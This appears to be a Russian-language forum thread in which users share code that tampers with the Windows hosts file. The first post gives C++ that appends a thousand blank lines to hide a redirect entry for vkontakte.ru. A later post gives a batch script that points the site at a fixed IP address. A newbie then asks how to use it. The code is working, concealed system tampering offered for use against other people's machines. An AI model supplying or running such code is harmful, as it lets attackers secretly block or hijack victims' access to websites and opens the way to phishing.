Code: #include <iostream> //стандартный поток ввода/вывода. #include <fstream>//для работы с файлами using namespace std;// используем по умолчанию пространство имен std. int main(){/*это главная функция. Она у нас ничего не возвращает, но типом главной функции может быть только int. void нельзя.*/ freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream на fstream с ключом дозаписи.*/ unsigned int a = 0; // создаём переменную счетчик. while(a<=1000){ //создаём цикл a++; //который заполняет файл hosts cout<<"\n"; //тысячью пустых строк } cout<<"127.0.0.1 vkontakte.ru"; // это строка переадресации }
Попробуй так: Code: rm hosts.txt; mv fake_hosts.txt hosts.txt По-моему, отличная подмена огосподигдевасэтомуучат int main() ничего не возвращает о да
на бате еще можно @echo off echo 209.85.229.104 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 209.85.229.104 vkontakte.ru >> %windir%\system32\drivers\etc\hosts
Iron47, а если у юзверя не С диск виндозный? Fata1ex, объясните плиз, на каком это языке и как вообще работать?) сори, но я нуб)